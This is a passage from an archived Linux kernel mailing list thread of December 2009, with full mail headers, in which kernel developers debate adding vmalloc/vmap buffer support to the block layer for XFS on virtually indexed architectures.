	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Dec 2009 21:44:46 -0500
Original-Received: from discord (unverified [121.44.162.26]) 
	by mail.internode.on.net (SurgeMail 3.8f2) with ESMTP id 10282894-1927428 
	for multiple; Fri, 18 Dec 2009 13:14:42 +1030 (CDT)
Original-Received: from dave by discord with local (Exim 4.69)
	(envelope-from <david@fromorbit.com>)
	id 1NLSpc-0006JO-AH; Fri, 18 Dec 2009 13:44:40 +1100
Content-Disposition: inline
In-Reply-To: <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:929507 gmane.linux.ports.parisc:2464 gmane.linux.kernel.cross-arch:4903
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2464>

On Fri, Dec 18, 2009 at 10:00:21AM +0900, FUJITA Tomonori wrote:
> On Fri, 18 Dec 2009 00:57:00 +0100
> James Bottomley <James.Bottomley@suse.de> wrote:
> 
> > On Thu, 2009-12-17 at 20:36 +0100, Jens Axboe wrote:
> > > On Thu, Dec 17 2009, Linus Torvalds wrote:
> > > > 
> > > > 
> > > > On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > > > > 
> > > > > Sure, but there's some rumors/oral traditions going around that some
> > > > > block devices want bio address which are page aligned, because they
> > > > > want to play some kind of refcounting game,
> > > > 
> > > > Yeah, you might be right at that.
> > > > 
> > > > > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > > > > don't have access to, so just because it works Just Fine on SATA doesn't 
> > > > > mean anything.
> > > > > 
> > > > > And none of this is documented anywhere, which is frustrating as hell.
> > > > > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > > > > systems".
> > > > 
> > > > ACK. Jens? 
> > > 
> > > I've heard those rumours too, and I don't even know if they are true.
> > > Who has a pointer to such a bug report and/or issue? The block layer
> > > itself doesn't not have any such requirements, and the only places where
> > > we play page games is for bio's that were explicitly mapped with pages
> > > by itself (like mapping user data).o
> > 
> > OK, so what happened is that prior to the map single fix
> > 
> > commit df46b9a44ceb5af2ea2351ce8e28ae7bd840b00f
> > Author: Mike Christie  <michaelc@cs.wisc.edu>
> > Date:   Mon Jun 20 14:04:44 2005 +0200
> > 
> >     [PATCH] Add blk_rq_map_kern()
> > 
> > 
> > bio could only accept user space buffers, so we had a special path for
> > kernel allocated buffers.  That commit unified the path (with a separate
> > block API) so we could now submit kmalloc'd buffers via block APIs.
> > 
> > So the rule now is we can accept any user mapped area via
> > blk_rq_map_user and any kmalloc'd area via blk_rq_map_kern().  We might
> > not be able to do a stack area (depending on how the arch maps the
> > stack) and we definitely cannot do a vmalloc'd area.
> > 
> > So it sounds like we only need a blk_rq_map_vmalloc() using the same
> > techniques as the patch set and we're good to go.
> 
> I'm not sure about it.
> 
> As I said before (when I was against this 'adding vmalloc support to
> the block layer' stuff), are there potential users of this except for
> XFS? Are there anyone who does such a thing now?

As Christoph already mentioned, XFS is not passing the vmalloc'd
range to the block layer - it passes the underlying pages to the
block layer. Hence I'm not sure there actually is anyone who is
passing vmalloc'd addresses to the block layer. Perhaps we should
put a WARN_ON() in the block layer to catch anyone doing such a
thing before considering supporting vmalloc'd addresses in the block
layer?

> This API might be useful for only journaling file systems using log
> formats that need large contiguous buffer. Sound like only XFS?

FWIW, mapped buffers larger than PAGE_SIZE are used for more than just log
recovery in XFS. e.g. filesystems with directory block size larger
than page size uses mapped buffers.

Cheers,

Dave.
-- 
Dave Chinner
david@fromorbit.com

From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 12:51:15 +0900
Lines: 31
Approved: news@gmane.org
Message-ID: <20091218125047U.fujita.tomonori@lab.ntt.co.jp>
References: <1261094220.2752.27.camel@mulgrave.site>
	<20091218095944G.fujita.tomonori@lab.ntt.co.jp>
	<20091218024440.GG4850@discord.disaster>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261108347 13242 80.91.229.12 (18 Dec 2009 03:52:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 03:52:27 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, James.Bottomley@suse.de,
	jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: david@fromorbit.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 18 04:52:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLTt2-0004If-2z
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Dec 2009 04:52:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755450AbZLRDwQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 22:52:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755612AbZLRDwP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 22:52:15 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:34419 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755450AbZLRDwO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 22:52:14 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBI3pFUB023076;
	Fri, 18 Dec 2009 12:51:15 +0900
In-Reply-To: <20091218024440.GG4850@discord.disaster>
Original-Lines: 26
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Fri, 18 Dec 2009 12:51:18 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2465 gmane.linux.kernel:929521 gmane.linux.kernel.cross-arch:4904
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2465>

On Fri, 18 Dec 2009 13:44:40 +1100
Dave Chinner <david@fromorbit.com> wrote:

> > > So it sounds like we only need a blk_rq_map_vmalloc() using the same
> > > techniques as the patch set and we're good to go.
> > 
> > I'm not sure about it.
> > 
> > As I said before (when I was against this 'adding vmalloc support to
> > the block layer' stuff), are there potential users of this except for
> > XFS? Are there anyone who does such a thing now?
> 
> As Christoph already mentioned, XFS is not passing the vmalloc'd
> range to the block layer

Oops, I should have said a vmalloc/vmap area.


> > This API might be useful for only journaling file systems using log
> > formats that need large contiguous buffer. Sound like only XFS?
> 
> FWIW, mapped buffers larger than PAGE_SIZE are used for more than just log
> recovery in XFS. e.g. filesystems with directory block size larger
> than page size uses mapped buffers.

I see, thanks.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 08:08:48 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <1261120128.3013.8.camel@mulgrave.site>
References: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
	 <20091217193648.GI4489@kernel.dk> <1261094220.2752.27.camel@mulgrave.site>
	 <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261120152 4727 80.91.229.12 (18 Dec 2009 07:09:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 07:09:12 +0000 (UTC)
Cc: jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 08:09:04 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLWxT-0002J3-TJ
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 08:09:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751225AbZLRHI7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 Dec 2009 02:08:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751153AbZLRHI6
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 18 Dec 2009 02:08:58 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42818 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750789AbZLRHI5 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Fri, 18 Dec 2009 02:08:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 076AD8EE104;
	Thu, 17 Dec 2009 23:08:57 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jVFSofK7-1Zs; Thu, 17 Dec 2009 23:08:56 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B371C8EE0DF;
	Thu, 17 Dec 2009 23:08:52 -0800 (PST)
In-Reply-To: <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4905 gmane.linux.ports.parisc:2466 gmane.linux.kernel:929553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2466>

On Fri, 2009-12-18 at 10:00 +0900, FUJITA Tomonori wrote:
> On Fri, 18 Dec 2009 00:57:00 +0100
> James Bottomley <James.Bottomley@suse.de> wrote:
> 
> > On Thu, 2009-12-17 at 20:36 +0100, Jens Axboe wrote:
> > > On Thu, Dec 17 2009, Linus Torvalds wrote:
> > > > 
> > > > 
> > > > On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > > > > 
> > > > > Sure, but there's some rumors/oral traditions going around that some
> > > > > block devices want bio address which are page aligned, because they
> > > > > want to play some kind of refcounting game,
> > > > 
> > > > Yeah, you might be right at that.
> > > > 
> > > > > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > > > > don't have access to, so just because it works Just Fine on SATA doesn't 
> > > > > mean anything.
> > > > > 
> > > > > And none of this is documented anywhere, which is frustrating as hell.
> > > > > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > > > > systems".
> > > > 
> > > > ACK. Jens? 
> > > 
> > > I've heard those rumours too, and I don't even know if they are true.
> > > Who has a pointer to such a bug report and/or issue? The block layer
> > > itself doesn't not have any such requirements, and the only places where
> > > we play page games is for bio's that were explicitly mapped with pages
> > > by itself (like mapping user data).o
> > 
> > OK, so what happened is that prior to the map single fix
> > 
> > commit df46b9a44ceb5af2ea2351ce8e28ae7bd840b00f
> > Author: Mike Christie  <michaelc@cs.wisc.edu>
> > Date:   Mon Jun 20 14:04:44 2005 +0200
> > 
> >     [PATCH] Add blk_rq_map_kern()
> > 
> > 
> > bio could only accept user space buffers, so we had a special path for
> > kernel allocated buffers.  That commit unified the path (with a separate
> > block API) so we could now submit kmalloc'd buffers via block APIs.
> > 
> > So the rule now is we can accept any user mapped area via
> > blk_rq_map_user and any kmalloc'd area via blk_rq_map_kern().  We might
> > not be able to do a stack area (depending on how the arch maps the
> > stack) and we definitely cannot do a vmalloc'd area.
> > 
> > So it sounds like we only need a blk_rq_map_vmalloc() using the same
> > techniques as the patch set and we're good to go.
> 
> I'm not sure about it.
> 
> As I said before (when I was against this 'adding vmalloc support to
> the block layer' stuff), are there potential users of this except for
> XFS? Are there anyone who does such a thing now?
> 
> This API might be useful for only journaling file systems using log
> formats that need large contiguous buffer. Sound like only XFS?
> 
> Even if we have some potential users, I'm not sure that supporting
> vmalloc in the block layer officially is a good idea. IMO, it needs
> too many tricks for generic code.

So far, there's only xfs that I know of.

Given the way journalling works, it's not an unusual requirement to use
a large buffer for operations.  It's a bit of a waste of kernel
resources to have this physically contiguous, but it is a waste of
resources (and for buffers over our kmalloc max, it would even have to
be allocated at start of day), so I think large kernel virtual areas
(like vmap/vmalloc) have a part to play in fs operations.

As to the API, the specific problem is that the block and lower arch
layers are specifically programmed to think any kernel address has only
a single alias and that it's offset mapped, which is why we get the
failure.

An alternative proposal to modifying the block layer to do coherency,
might be simply to have the fs layer do a vunmap before doing I/O and
re-vmap when it's completed.  That would ensure the architecturally
correct flushing of the aliases, and would satisfy the expectations of
blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
page tables, which isn't necessary and might impact performance (xfs
people?)

If the performance impact of the above is too great, then we might
introduce a vmalloc sync API to do the flush before and the invalidate
after (would have to be called twice, once before I/O and once after).
This is sort of a violation of our architectural knowledge layering,
since the user of a vmap/vmalloc area has to know intrinsically how to
handle I/O instead of having it just work(tm), but since the users are
few and specialised, it's not going to lead to too many coding problems.

Any opinions?

James



From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 08:10:39 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <1261120239.3013.10.camel@mulgrave.site>
References: <alpine.LFD.2.00.0912170950330.15740@localhost.localdomain>
	 <20091217193648.GI4489@kernel.dk> <1261094220.2752.27.camel@mulgrave.site>
	 <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
	 <20091218024440.GG4850@discord.disaster>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261120256 4945 80.91.229.12 (18 Dec 2009 07:10:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 07:10:56 +0000 (UTC)
Cc: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>,
	jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: Dave Chinner <david@fromorbit.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 08:10:48 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLWz9-00037r-Ls
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 08:10:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750986AbZLRHKq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 Dec 2009 02:10:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751225AbZLRHKq
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 18 Dec 2009 02:10:46 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35830 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750986AbZLRHKp (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Fri, 18 Dec 2009 02:10:45 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4A16E8EE105;
	Thu, 17 Dec 2009 23:10:45 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id b0LTkjleS8cl; Thu, 17 Dec 2009 23:10:45 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7EFA88EE0DF;
	Thu, 17 Dec 2009 23:10:41 -0800 (PST)
In-Reply-To: <20091218024440.GG4850@discord.disaster>
X-Mailer: Evolution 2.28.0 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4906 gmane.linux.ports.parisc:2467 gmane.linux.kernel:929554
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2467>

On Fri, 2009-12-18 at 13:44 +1100, Dave Chinner wrote:
> On Fri, Dec 18, 2009 at 10:00:21AM +0900, FUJITA Tomonori wrote:
> > On Fri, 18 Dec 2009 00:57:00 +0100
> > James Bottomley <James.Bottomley@suse.de> wrote:
> > 
> > > On Thu, 2009-12-17 at 20:36 +0100, Jens Axboe wrote:
> > > > On Thu, Dec 17 2009, Linus Torvalds wrote:
> > > > > 
> > > > > 
> > > > > On Thu, 17 Dec 2009, tytso@mit.edu wrote:
> > > > > > 
> > > > > > Sure, but there's some rumors/oral traditions going around that some
> > > > > > block devices want bio address which are page aligned, because they
> > > > > > want to play some kind of refcounting game,
> > > > > 
> > > > > Yeah, you might be right at that.
> > > > > 
> > > > > > And it's Weird Shit(tm) (aka iSCSI, AoE) type drivers, that most of us 
> > > > > > don't have access to, so just because it works Just Fine on SATA doesn't 
> > > > > > mean anything.
> > > > > > 
> > > > > > And none of this is documented anywhere, which is frustrating as hell.
> > > > > > Just rumors that "if you do this, AoE/iSCSI will corrupt your file
> > > > > > systems".
> > > > > 
> > > > > ACK. Jens? 
> > > > 
> > > > I've heard those rumours too, and I don't even know if they are true.
> > > > Who has a pointer to such a bug report and/or issue? The block layer
> > > > itself doesn't not have any such requirements, and the only places where
> > > > we play page games is for bio's that were explicitly mapped with pages
> > > > by itself (like mapping user data).o
> > > 
> > > OK, so what happened is that prior to the map single fix
> > > 
> > > commit df46b9a44ceb5af2ea2351ce8e28ae7bd840b00f
> > > Author: Mike Christie  <michaelc@cs.wisc.edu>
> > > Date:   Mon Jun 20 14:04:44 2005 +0200
> > > 
> > >     [PATCH] Add blk_rq_map_kern()
> > > 
> > > 
> > > bio could only accept user space buffers, so we had a special path for
> > > kernel allocated buffers.  That commit unified the path (with a separate
> > > block API) so we could now submit kmalloc'd buffers via block APIs.
> > > 
> > > So the rule now is we can accept any user mapped area via
> > > blk_rq_map_user and any kmalloc'd area via blk_rq_map_kern().  We might
> > > not be able to do a stack area (depending on how the arch maps the
> > > stack) and we definitely cannot do a vmalloc'd area.
> > > 
> > > So it sounds like we only need a blk_rq_map_vmalloc() using the same
> > > techniques as the patch set and we're good to go.
> > 
> > I'm not sure about it.
> > 
> > As I said before (when I was against this 'adding vmalloc support to
> > the block layer' stuff), are there potential users of this except for
> > XFS? Are there anyone who does such a thing now?
> 
> As Christoph already mentioned, XFS is not passing the vmalloc'd
> range to the block layer - it passes the underlying pages to the
> block layer. Hence I'm not sure there actually is anyone who is
> passing vmalloc'd addresses to the block layer. Perhaps we should
> put a WARN_ON() in the block layer to catch anyone doing such a
> thing before considering supporting vmalloc'd addresses in the block
> layer?

vmalloc is just an alias for vmap/vmalloc in the above statements
(basically anything with an additional kernel virtual mapping which
causes aliases).  If we support vmap, we naturally support vmalloc as
well.

> > This API might be useful for only journaling file systems using log
> > formats that need large contiguous buffer. Sound like only XFS?
> 
> FWIW, mapped buffers larger than PAGE_SIZE are used for more than just log
> recovery in XFS. e.g. filesystems with directory block size larger
> than page size uses mapped buffers.

However, XFS is the only fs that actually uses kernel virtual mapping to
solve this problem.

James



From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 18:34:52 +0900
Lines: 50
Approved: news@gmane.org
Message-ID: <20091218183353I.fujita.tomonori@lab.ntt.co.jp>
References: <1261094220.2752.27.camel@mulgrave.site>
	<20091218095944G.fujita.tomonori@lab.ntt.co.jp>
	<1261120128.3013.8.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261128955 27440 80.91.229.12 (18 Dec 2009 09:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 09:35:55 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, jens.axboe@oracle.com,
	torvalds@linux-foundation.org, tytso@mit.edu, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	hch@infradead.org, linux-arch@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-arch-owner@vger.kernel.org Fri Dec 18 10:35:47 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLZFS-00057s-E9
	for glka-linux-arch@lo.gmane.org; Fri, 18 Dec 2009 10:35:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752270AbZLRJfp (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 18 Dec 2009 04:35:45 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751642AbZLRJfp
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 18 Dec 2009 04:35:45 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:47045 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751247AbZLRJfl (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 18 Dec 2009 04:35:41 -0500
Original-Received: from localhost (rose.osrg.net [10.76.0.1])
	by sh.osrg.net (8.14.3/8.14.3/OSRG-NET) with ESMTP id nBI9YqMk024335;
	Fri, 18 Dec 2009 18:34:52 +0900
In-Reply-To: <1261120128.3013.8.camel@mulgrave.site>
Original-Lines: 50
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-3.0 (sh.osrg.net [192.16.179.4]); Fri, 18 Dec 2009 18:34:55 +0900 (JST)
X-Virus-Scanned: clamav-milter 0.95.3 at sh
X-Virus-Status: Clean
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4907 gmane.linux.ports.parisc:2468 gmane.linux.kernel:929583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2468>

On Fri, 18 Dec 2009 08:08:48 +0100
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> > Even if we have some potential users, I'm not sure that supporting
> > vmalloc in the block layer officially is a good idea. IMO, it needs
> > too many tricks for generic code.
> 
> So far, there's only xfs that I know of.
> 
> Given the way journalling works, it's not an unusual requirement to use
> a large buffer for operations.  It's a bit of a waste of kernel
> resources to have this physically contiguous, but it is a waste of
> resources (and for buffers over our kmalloc max, it would even have to
> be allocated at start of day), so I think large kernel virtual areas
> (like vmap/vmalloc) have a part to play in fs operations.

Yeah, but now only XFS passes vmap'ed pages to the block layer. Isn't
it better to wait until we have real users of the API?


> As to the API, the specific problem is that the block and lower arch
> layers are specifically programmed to think any kernel address has only
> a single alias and that it's offset mapped, which is why we get the
> failure.

Yeah, however we can make a rule that you can't pass a vmap area
(including vmap'ed pages) to the block layer. We can't make the rule
effective for the past so XFS is the only exception.


> An alternative proposal to modifying the block layer to do coherency,
> might be simply to have the fs layer do a vunmap before doing I/O and
> re-vmap when it's completed. 

I'm not sure it's worth making the whole block layer compatible to
vmap (adding complexity and possibly performance penalty).

If we really need to support this, I like helper APIs that the callers
must use before and after I/Os.


> That would ensure the architecturally
> correct flushing of the aliases, and would satisfy the expectations of
> blk_rq_map_kern().  The down side is that vmap/vmalloc set up and clear
> page tables, which isn't necessary and might impact performance (xfs
> people?)

btw, I'm not sure that the existing blk_rq_map_* API isn't fit well to
file systems since blk_rq_map_user and blk_rq_map_kern takes a request
structure.

From - Thu Nov 08 21:05:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Fri, 18 Dec 2009 11:01:29 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <1261130489.3013.41.camel@mulgrave.site>
References: <1261094220.2752.27.camel@mulgrave.site>
	 <20091218095944G.fujita.tomonori@lab.ntt.co.jp>
	 <1261120128.3013.8.camel@mulgrave.site>
	 <20091218183353I.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261130523 32404 80.91.229.12 (18 Dec 2009 10:02:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Dec 2009 10:02:03 +0000 (UTC)
Cc: jens.axboe@oracle.com, torvalds@linux-foundation.org,
	tytso@mit.edu, kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, hch@infradead.org,
	linux-arch@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753584AbZLRKBw@vger.kernel.org Fri Dec 18 11:01:55 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1753584AbZLRKBw@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLZek-0007BK-Gw
	for glk-linux-kernel-3@lo.gmane.org; Fri, 18 Dec 2009 11:01:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753584AbZLRKBw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 18 Dec 2009 05:01:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752433AbZLRKBu
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 18 Dec 2009 05:01:50 -0500
Original-Received: from cantor.suse.de ([195.135.220.2]:47378 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751880AbZLRKBr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Fri, 18 Dec 2009 05:01:47 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
